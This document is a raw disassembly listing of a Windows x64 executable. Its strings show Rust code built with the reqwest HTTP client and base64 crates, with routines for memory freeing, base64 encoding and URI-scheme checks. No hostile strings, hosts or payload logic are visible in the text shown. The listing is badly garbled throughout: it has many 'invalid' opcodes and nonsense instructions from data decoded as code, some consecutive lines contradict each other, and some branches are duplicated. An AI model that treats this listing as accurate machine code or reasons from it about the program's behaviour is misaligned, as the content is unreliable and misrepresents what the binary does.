mov rbx, qword [r14 - 1]
mov r14, qword [r14 + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140057ed0
cmp qword [r14 + 0x10], 0x11
jb 0x140057ebe
invalid
add al, 0x48
mov ebx, dword [rbx - 8]
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xb0]
call fcn.140058030
mov rdi, qword [rsp + 0x58]
add al, ch
add dword [r8], eax
add byte [rax - 0x75], cl
jl 0x140057f17
pop rax
test rdi, rdi
je 0x140057fa1
mov r14, qword [rsp + 0x50]
xor eax, eax
jmp 0x140057f1d
add byte [rax + 0x17747ff9], al
cmp cl, 0x7f
je 0x140057f2c
inc rax
cmp rdi, rax
ror byte [rax + 0x39], 0xc7
je 0x140057f58
movzx ecx, byte [r14 + rax]
cmp cl, 0x1f
ja 0x140057f10
cmp cl, 9
je 0x140057f15
lea rax, [0x140143b68]
mov qword [rsp + 0x20], rax
lea rcx, str.base64_is_always_valid_HeaderValueC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcutil.rs
lea r9, [0x14013eb48]
lea r8, [rsp + 0xb0]
mov edx, 0x22
call fcn.140108600
test rdi, rdi
js 0x140058010
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400dfbe0
test rax, rax
je 0x140058015
mov rbx, rax
mov rcx, rax
mov rdx, r14
mov r8, rdi
call fcn.140106250
test bl, 1
jne 0x140057fb3
mov rax, rbx
or rax, 1
lea rcx, [0x140129108]
jmp 0x140057fbd
lea rcx, [0x140113ac0]
mov ebx, 1
xor eax, eax
xor edi, edi
jmp 0x140057fbd
lea rcx, [0x140129120]
mov rax, rbx
mov qword [rsi], rcx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rax
mov byte [rsi + 0x20], 1
cmp qword [rsp + 0x48], 0
je 0x140057fec
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x4d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.140010b00
mov ecx, 1
mov rdx, rdi
call fcn.140107fc0
int3
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
cmp edi, eax
je 0x140058250
mov byte [rsi + rax], 0x3d
cmp edx, 1
je 0x1400581af
cmp rcx, 1
je 0x140058250
mov byte [rsi + rax + 1], 0x3d
cmp edx, 2
je 0x1400581af
cmp rcx, 2
je 0x140058250
mov byte [rsi + rax + 2], 0x3d
jmp 0x1400581af
add rax, rdx
jb 0x140058287
mov qword [rsi + 0x410], rdi
test rdi, rdi
je 0x140058215
mov rbx, qword [rsi + 0x400]
mov byte [rsi + 0x423], 1
test rbx, rbx
je 0x1400582b1
mov rax, qword [rbx]
mov r14, qword [rbx + 0x10]
sub rax, r14
cmp rax, rdi
jb 0x14005823c
mov rcx, qword [rbx + 8]
add rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.140106250
add r14, rdi
mov qword [rbx + 0x10], r14
mov byte [rsi + 0x423], 0
mov qword [rsi + 0x410], 0
mov qword [rsi + 0x408], 0
jmp 0x140058042
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140109710
mov r14, qword [rbx + 0x10]
jmp 0x1400581ea
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcencode.rs
mov rdx, rcx
call fcn.1401082d0
lea r8, [0x140141678]
mov edx, 0x400
mov rcx, rbx
call fcn.140108340
lea r8, [0x140141690]
mov edx, 3
mov rcx, r10
call fcn.140108340
lea rcx, str.usize_overflow_when_calculating_b64_length
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcencode.rs
mov edx, 0x2a
call fcn.1401086b0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcencode.rs
mov rcx, rax
mov rdx, rdi
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 0xfa
call fcn.1401082c0
lea rcx, [0x1401415d6]
lea r8, [0x140141660]
mov edx, 0x16
call fcn.1401086b0
int3
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
or eax, dword [rax]
movabs al, byte [0x5b20c4834890000b]
pop rdi
pop rsi
ret
add byte [rax], al
mov rbx, r8
mov r14, rdx
mov qword [rsp + 0x30], rcx
mov rdi, qword [rcx]
lea rax, [rdi + 0x420]
mov qword [rsp + 0x28], rax
nop word cs:[rax + rax]
mov r12, qword [rdi + 0x400]
test r12, r12
je 0x14005867a
mov r13, qword [rdi + 0x410]
test r13, r13
jne 0x140058583
mov rcx, qword [rdi + 0x408]
test rcx, rcx
je 0x140058430
lea rax, [rcx + rbx]
cmp rax, 2
jbe 0x140058460
mov r12d, 3
sub r12, rcx
jb 0x1400586e2
add byte [rcx + 0x29], cl
int3
mov r13, rbx
sub r13, r12
jb 0x1400586d0
add byte [rax], al
add byte [rax], al
mov rsi, qword [rsp + 0x28]
add rcx, rsi
mov rdx, r14
mov r8, r12
call fcn.140106250
mov rcx, qword [rdi + 0x418]
add byte [rax - 0x39], cl
and al, 0x20
add byte [rax + rax], al
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add byte [rax + rax], al
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
mov rdx, rsi
mov r9, rdi
call fcn.1400115c0
lea r8, [r14 + r12]
mov qword [rdi + 0x408], 0
mov ecx, 0x2fd
mov r15d, 4
jmp 0x1400584a2
cmp rbx, 3
jae 0x140058491
mov rcx, qword [rsp + 0x28]
mov rdx, r14
mov r8, rbx
call fcn.140106250
mov qword [rdi + 0x408], rbx
mov r13, rbx
jmp 0x140058551
cmp rcx, 2
ja 0x140058669
movzx eax, byte [r14]
mov byte [rdi + rcx + 0x420], al
mov rax, qword [rdi + 0x408]
inc rax
mov r13d, 1
mov qword [rdi + 0x408], rax
jmp 0x140058551
mov ecx, 0x300
xor r15d, r15d
mov r13, rbx
mov r8, r14
xor r12d, r12d
mov rax, r13
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
lea r13, [rdx + rdx*2]
cmp r13, rcx
jb 0x1400584c1
mov r13, rcx
mov rcx, qword [rdi + 0x418]
mov eax, 0x400
sub rax, r15
lea r9, [rdi + r15]
mov qword [rsp + 0x20], rax
mov rdx, r8
mov r8, r13
call fcn.1400115c0
mov byte [rdi + 0x423], 1
mov rsi, qword [rdi + 0x400]
test rsi, rsi
je 0x1400586a4
mov rbp, rax
add rbp, r15
cmp rbp, 0x401
jae 0x1400586bc
mov rax, qword [rsi]
mov r15, qword [rsi + 0x10]
sub rax, r15
cmp rax, rbp
jb 0x140058568
mov rcx, qword [rsi + 8]
add rcx, r15
mov rdx, rdi
mov r8, rbp
call fcn.140106250
add r15, rbp
mov qword [rsi + 0x10], r15
mov byte [rdi + 0x423], 0
mov qword [rdi + 0x410], 0
add r13, r12
je 0x1400585d9
cmp rbx, r13
jb 0x140058692
add r14, r13
sub rbx, r13
jne 0x140058380
jmp 0x14005857c
mov rcx, rsi
mov rdx, r15
mov r8, rbp
call fcn.140109710
mov r15, qword [rsi + 0x10]
jmp 0x14005851d
xor eax, eax
jmp 0x140058640
mov byte [rdi + 0x423], 1
cmp r13, 0x401
jae 0x1400586f3
mov rax, qword [r12]
mov rsi, qword [r12 + 0x10]
mov esi, dword [rsp + 0x10]
mov esi, dword [rsp + 0x10]
sub rax, rsi
cmp rax, r13
jb 0x140058651
mov rcx, qword [r12 + 8]
add rcx, rsi
mov rdx, rdi
mov r8, r13
call fcn.140106250
add rsi, r13
mov qword [r12 + 0x10], rsi
mov byte [rdi + 0x423], 0
mov qword [rdi + 0x410], 0
mov r14, qword [rsp + 0x30]
mov rax, qword [r14 + 8]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x140058633
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140058621
cmp qword [rbx + 0x10], 0x11
jb 0x14005860f
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.failed_to_write_whole_buffer
mov qword [r14 + 8], rax
mov al, 1
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r12
mov rdx, rsi
mov r8, r13
call fcn.140109710
mov rsi, qword [r12 + 0x10]
jmp 0x1400585ac
lea r8, [0x140141b48]
mov edx, 3
call fcn.1401082d0
lea rcx, str.Cannot_write_more_after_calling_finish__
lea r8, [0x140141bb8]
mov edx, 0x28
call fcn.14010cf20
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_srciomod.rs
mov rcx, r13
mov rdx, rbx
call fcn.1401082c0
lea rcx, [0x1401415d6]
lea r8, [0x140141660]
mov edx, 0x16
call fcn.1401086b0
lea r8, [0x140141678]
mov edx, 0x400
mov rcx, rbp
call fcn.140108340
lea r8, [0x140141b78]
mov rcx, r12
mov rdx, rbx
call fcn.140108340
lea r8, [0x140141b60]
mov edx, 3
call fcn.140108530
lea r8, [0x140141678]
mov edx, 0x400
mov rcx, r13
call fcn.140108340
int3
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x14013f538]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
push rsp
and al, 0x38
push rsp
and al, 0x38
call fcn.140016790
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x1400588a9
mov al, 1
test dl, dl
jne 0x1400588ab
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x14005888f
cmp byte [rsp + 0x31], 0
je 0x14005888f
test byte [rsi + 0x34], 4
jne 0x14005888f
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400588ab
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400588ab
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ret
movaps xmm6, xmmword [rsp + 0x6c0]
movaps xmm7, xmmword [rsp + 0x6d0]
movaps xmm8, xmmword [rsp + 0x6e0]
movaps xmm9, xmmword [rsp + 0x6f0]
movaps xmm10, xmmword [rsp + 0x700]
add rsp, 0x718
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax], 0
add byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x78], rax
and al, 0x78
cmp byte [r15 + 0x1b9], 0
je case.0x14005a27e.2
movzx eax, byte [rsp + 0x310]
test al, al
je case.0x14005a27e.2
add byte [rax + rax*8 - 0x49f0cc8c], al
rol byte [rbx + 0x1d7401f8], 0x83
clc
add dh, byte [rsi + riz + 0x48]
lea ecx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
movzx eax, al
cmp eax, 1
je 0x140059766
cmp eax, 2
je case.0x14005a27e.2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs
mov edx, 0x28
call fcn.140108350
cmp byte [rsp + 0x311], 0
je 0x140059d46
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmmword [rsp + 0x2f0], xmm0
cmp dword [rsp + 0x1b0], 9
jae 0x140059d12
movaps xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x260], xmm0
movaps xmm1, xmmword [rsp + 0x2f0]
movaps xmmword [rsp + 0x240], xmm1
mov ecx, dword [rsp + 0x1a0]
mov edx, dword [rsp + 0x1a3]
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6b], edx
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 8
movups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], 8
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0xf0], 0
mov word [rsp + 0xf8], 0
mov byte [rsp + 0x100], 0
lea rcx, [0x1401290f0]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], 1
movaps xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rcx
lea rcx, [0x140172678]
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x140], 1
mov qword [rsp + 0x148], 0
mov word [rsp + 0x150], 0xffff
movzx ecx, byte [rsp + 0x2e]
mov byte [rsp + 0x158], cl
mov ecx, dword [rsp + 0x68]
mov edx, dword [rsp + 0x6b]
mov dword [rsp + 0x159], ecx
mov dword [rsp + 0x15c], edx
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], 0
mov byte [rsp + 0x178], 2
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x310]
call fcn.14005b8a0
mov r14, qword [rsp + 0x3a0]
movzx edi, byte [rsp + 0x3a8]
movzx ebx, byte [rsp + 0x3a9]
cmp r14, 3
je 0x14005a6ea
lea rdx, [rsp + 0x3aa]
lea rsi, [rsp + 0x5f2]
mov r8d, 0xce
mov rcx, rsi
call fcn.140106250
mov eax, dword [rsp + 0x479]
mov ecx, dword [rsp + 0x47c]
mov dword [rsp + 0x1a8], eax
mov dword [rsp + 0x1ab], ecx
mov qword [rsp + 0xa0], rbp
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x480], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x490], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x498], rax
lea rcx, [rsp + 0x4fa]
cli
add al, 0
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
bnd call fcn.140106250
mov eax, dword [rsp + 0x1a8]
mov ecx, dword [rsp + 0x1ab]
mov dword [rsp + 0x5c9], eax
mov dword [rsp + 0x5cc], ecx
mov qword [rsp + 0x4f0], r14
mov byte [rsp + 0x4f8], dil
mov byte [rsp + 0x4f9], bl
movzx eax, byte [rsp + 0x2f]
mov byte [rsp + 0x5c8], al
movaps xmm0, xmmword [rsp + 0x480]
movaps xmm1, xmmword [rsp + 0x490]
and al, 0x90
add al, 0
add byte [rdi], cl
sub dword [rsp + 0x5d0], eax
movaps xmmword [rsp + 0x5e0], xmm1
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x1c0]
call fcn.14005bb90
lea rsi, [rsp + 0x4f0]
add byte [rax], al
mov rcx, rsi
call fcn.140052130
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x540], xmm0
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x530], xmm0
xor byte [0x150149a8d], al
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xb0], cl
movups xmm2, xmmword [rsp + 0xc0]
movups xmm3, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x520], xmm3
movaps xmmword [rsp + 0x510], xmm2
movaps xmmword [rsp + 0x500], xmm1
movaps xmmword [rsp + 0x4f0], xmm0
mov rcx, qword [rsp + 0x308]
mov rdx, rsi
call fcn.14005bf90
mov rsi, rax
mov rdi, rdx
mov r8d, dword [rsp + 0x1b4]
cmp r8d, 0x3b9aca00
jne 0x140059b18
mov r8d, dword [r15 + 0x1a8]
cmp r8d, 0x3b9aca00
jne 0x140059b09
xor eax, eax
jmp 0x140059ba3
mov rax, qword [r15 + 0x1a0]
mov qword [rsp + 0x1b8], rax
lea r9, [0x14013eaf0]
lea rcx, [rsp + 0xa0]
mov rdx, qword [rsp + 0x1b8]
call fcn.1400f4bb0
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14005a6db
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rsp + 0xe0]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movups xmm2, xmmword [rsp + 0xc0]
movups xmm3, xmmword [rsp + 0xd0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lock inc qword [r15]
jle 0x14005a764
mov ecx, dword [rsp + 0x88]
mov edx, dword [rsp + 0x8b]
mov r8, qword [rsp + 0x198]
mov dword [r8 + 0xfc], edx
mov dword [r8 + 0xf9], ecx
mov rcx, qword [rsp + 0x2e0]
mov qword [r8 + 0xd8], rcx
movaps xmm0, xmmword [rsp + 0x2d0]
movups xmmword [r8 + 0xc8], xmm0
movaps xmm0, xmmword [rsp + 0x290]
movaps xmm1, xmmword [rsp + 0x2a0]
movaps xmm2, xmmword [rsp + 0x2b0]
movaps xmm3, xmmword [rsp + 0x2c0]
movups xmmword [r8 + 0xb8], xmm3
movups xmmword [r8 + 0xa8], xmm2
movups xmmword [r8 + 0x98], xmm1
movups xmmword [r8 + 0x88], xmm0
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmm2, xmmword [rsp + 0x1e0]
movaps xmm3, xmmword [rsp + 0x1f0]
movups xmmword [r8 + 0x28], xmm0
movups xmmword [r8 + 0x38], xmm1
movups xmmword [r8 + 0x48], xmm2
movups xmmword [r8 + 0x58], xmm3
movaps xmm0, xmmword [rsp + 0x200]
movups xmmword [r8 + 0x68], xmm0
movaps xmm0, xmmword [rsp + 0x210]
movups xmmword [r8 + 0x78], xmm0
movaps xmm0, xmmword [rsp + 0x4a0]
movups xmmword [r8 + 0x10], xmm0
mov rcx, qword [rsp + 0x4b0]
mov qword [r8 + 0x20], rcx
mov qword [r8], r13
mov qword [r8 + 8], r12
mov qword [r8 + 0xe0], 0
mov qword [r8 + 0xe8], 8
mov qword [r8 + 0xf0], 0
movzx ecx, byte [rsp + 0x2e]
mov byte [r8 + 0xf8], cl
mov rcx, qword [rsp + 0x190]
mov ecx, dword [rsp + 0x190]
mov qword [r8 + 0x100], rcx
mov rcx, qword [rsp + 0x60]
mov qword [r8 + 0x108], rcx
mov qword [r8 + 0x110], r15
mov qword [r8 + 0x118], rsi
mov qword [r8 + 0x120], rdi
mov qword [r8 + 0x128], 0
mov qword [r8 + 0x130], rax
jmp 0x140058c44
jne 0x140059e03
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x8b]
mov dword [rsp + 0x1a3], ecx
mov dword [rsp + 0x1a0], eax
movzx edi, byte [rsp + 0x60]
mov rsi, qword [rsp + 0x190]
jmp 0x140059798
movdqu xmm6, xmmword [0x140142968]
movdqa xmmword [rsp + 0xb0], xmm6
movdqu xmm7, xmmword [0x140142958]
movdqa xmmword [rsp + 0xa0], xmm7
mov rsi, qword [rsp + 0x1e8]
test rsi, rsi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rbp
je 0x140059f3c
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0xa0]
call fcn.1400385d0
mov ebp, eax
movzx r14d, word [rsp + 0x218]
mov r15d, ebp
and r15d, r14d
mov r12, qword [rsp + 0x210]
mov r13, qword [rsp + 0x1e0]
mov rdi, qword [rsp + 0x208]
mov r9, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x70], al
mov r8, qword [rsp + 0xb0]
xor ebx, ebx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x188], r9
mov qword [rsp + 0x180], rdx
jmp 0x140059e4d
cmp qword [rsp + 0x60], 0
je 0x14005a1cc
js 0x14005a77e
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, qword [rsp + 0x60]
call fcn.1400dfbe0
test rax, rax
je 0x14005a783
mov rsi, rax
jmp 0x14005a1d1
movzx ecx, byte [rsp + 0x70]
cmp byte [rax + 8], cl
je 0x14005a1b3
inc rbx
inc r15
mov rax, r15
mov r15, rax
mov eax, 0
cmp r15, r12
jae 0x140059e50
movzx ecx, word [rdi + r15*4]
cmp rcx, 0xffff
je 0x140059f17
movzx eax, word [rdi + r15*4 + 2]
mov r11d, eax
and r11d, r14d
mov r10d, r15d
sub r10d, r11d
and r10d, r14d
cmp rbx, r10
ja 0x140059f17
cmp ax, bp
jne 0x140059e47
cmp rsi, rcx
jbe 0x14005a5b6
test r9, r9
sete r11b
imul rax, rcx, 0x68
mov rcx, qword [r13 + rax + 0x40]
test rcx, rcx
setne r10b
cmp r10b, r11b
je 0x140059e47
add rax, r13
add rax, 0x40
test rcx, rcx
je 0x140059e39
cmp qword [rax + 0x10], r8
jne 0x140059e47
mov rcx, qword [rax + 8]
mov rsi, r8
call fcn.1401068d0
mov rdx, qword [rsp + 0x180]
mov r8, rsi
mov r9, qword [rsp + 0x188]
mov rsi, qword [rsp + 0x50]
test eax, eax
jne 0x140059e47
test r9, r9
je 0x14005a1b3
lea rcx, [rsp + 0xb8]
call qword [r9 + 0x10]
jmp 0x14005a1b3
test r9, r9
mov r15, qword [rsp + 0x48]
je 0x140059f2d
lea rcx, [rsp + 0xb8]
call qword [r9 + 0x10]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
invalid
mov rcx, qword [r15 + 0x1b0]
mov ecx, dword [rdi + 0x1b0]
mov rax, qword [rcx + 0x20]
test rax, rax
je case.0x14005a27e.2
invalid
mov r14, qword [rcx + 0x18]
mov esi, dword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rax, [rcx + rax*8]
add rax, r14
mov qword [rsp + 0x70], rax
lea rdi, [0x140177970]
add bl, dl
adc dword [rax], eax
pcmpeqd xmm8, xmm8
jmp 0x140059fc5
lea eax, [rsp + 0x310]
call fcn.14005b1f0
cmp dword [rsp + 0xa0], 2
jne 0x14005a209
add r14, 0x88
cmp r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x48]
jl 0x140059fd3
mov r12, qword [rsp + 0x40]
jl 0x140059fd3
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
je case.0x14005a27e.2
mov rax, qword [r14]
movsxd rax, dword [rdi + rax*4]
invalid
add al, 0x87
add rax, rdi
jmp rax
invalid
test byte [rax + rdx], ah
add eax, dword [rax]
add byte [rax + rax*8 + 0x785840f], al
invalid
invalid
test dword [rdi], eax
je 0x14005a766
test dword [rdi], eax
add byte [rax], al
cmp al, 2
jne 0x14005a160
mov rax, qword [rsp + 0x318]
add byte [rax], al
cmp qword [rax + 0x10], 4
jne 0x140059f9f
mov rax, qword [rax + 8]
jmp 0x14005a175
test byte [rax + rdx], ah
add eax, dword [rax]
add byte [rax + rax*8 + 0x755840f], al
add byte [rax], al
cmp al, 2
jne 0x14005a05b
mov rax, qword [rsp + 0x318]
mov rbp, qword [rax + 8]
mov r15, qword [rax + 0x10]
jmp 0x14005a080
xor r15d, r15d
cmp byte [rsp + 0x311], 0
sete r15b
lea rbp, [0x140172317]
lea rax, [0x140172313]
cmove rbp, rax
xor r15, 5
mov rax, qword [r14 + 8]
mov qword [rsp + 0x50], rax
cmp qword [rax + 0x28], 0
je 0x140059f9f
mov rsi, qword [rsp + 0x50]
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov qword [rsp + 0x188], rcx
mov qword [rsp + 0x180], rdx
mov r8, rbp
mov r9, r15
call fcn.140052790
mov rbx, rax
mov r12, qword [rsi + 0x10]
mov r13, qword [rsi + 0x18]
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm9, xmm0, 0
xor esi, esi
and rbx, r13
movdqu xmm10, xmmword [r12 + rbx]
movdqa xmm0, xmm10
pcmpeqb xmm0, xmm9
pmovmskb edi, xmm0
test edi, edi
jne 0x14005a12d
pcmpeqb xmm10, xmm8
pmovmskb eax, xmm10
test eax, eax
lea rdi, [0x140177970]
jne 0x140059f9f
add rbx, rsi
add rbx, 0x10
add rsi, 0x10
jmp 0x14005a0e0
lea eax, [rdi - 1]
and eax, edi
mov edi, eax
test ax, ax
je 0x14005a0fb
tzcnt eax, edi
add rax, rbx
and rax, r13
neg rax
imul rax, rax, 0x68
cmp qword [r12 + rax - 0x58], r15
jne 0x14005a121
add rax, r12
mov rdx, qword [rax - 0x60]
mov rcx, rbp
mov r8, r15
call fcn.1401068d0
test eax, eax
jne 0x14005a121
jmp 0x14005a2b0
cmp byte [rsp + 0x311], 0
lea rax, [0x140172313]
jne 0x140059f9f
cmp dword [rax], 0x70747468
jne 0x140059f9f
jmp 0x14005a4db
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
jmp case.0x14005a27e.2
mov esi, 1
mov rcx, rsi
mov rdx, qword [rsp + 0x190]
mov rdi, qword [rsp + 0x60]
mov r8, rdi
call fcn.140106250
jmp 0x140059798
cmp byte [rsp + 0xe8], 2
je case.default.0x14005a27e
lea rcx, [rsp + 0xe0]
mov rax, qword [rsp + 0xc8]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xd8
add byte [rax], al
add bh, bh
push rax
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xd8
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
lea rcx, [rsp + 0xc0]
mov rax, qword [rsp + 0xa8]
invalid
invalid
lea rcx, [rsp + 0xc0]
mov rax, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb0]
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xb8
add byte [rax], al
add bh, bh
push rax
adc byte [rcx - 0x75], cl
invalid
lea rcx, [0x140177984]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
jmp rax
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xb8
add byte [rax], al
add bh, bh
push rax
adc byte [rcx - 0x75], cl
invalid
lea r8, [0x140172313]
mov r9d, 4
mov rcx, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x180]
call fcn.140052790
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x18]
mov r8, rax
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
pcmpeqd xmm1, xmm1
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
and rax, rdx
movdqu xmm2, xmmword [rcx + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r9d, xmm3
test r9d, r9d
jne 0x14005a35d
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
test r9d, r9d
jne case.0x14005a27e.2
add rax, r8
add rax, 0x10
add r8, 0x10
jmp 0x14005a314
lea r10d, [r9 - 1]
and r10d, r9d
mov r9d, r10d
test r10w, r10w
je 0x14005a32e
tzcnt r10d, r9d
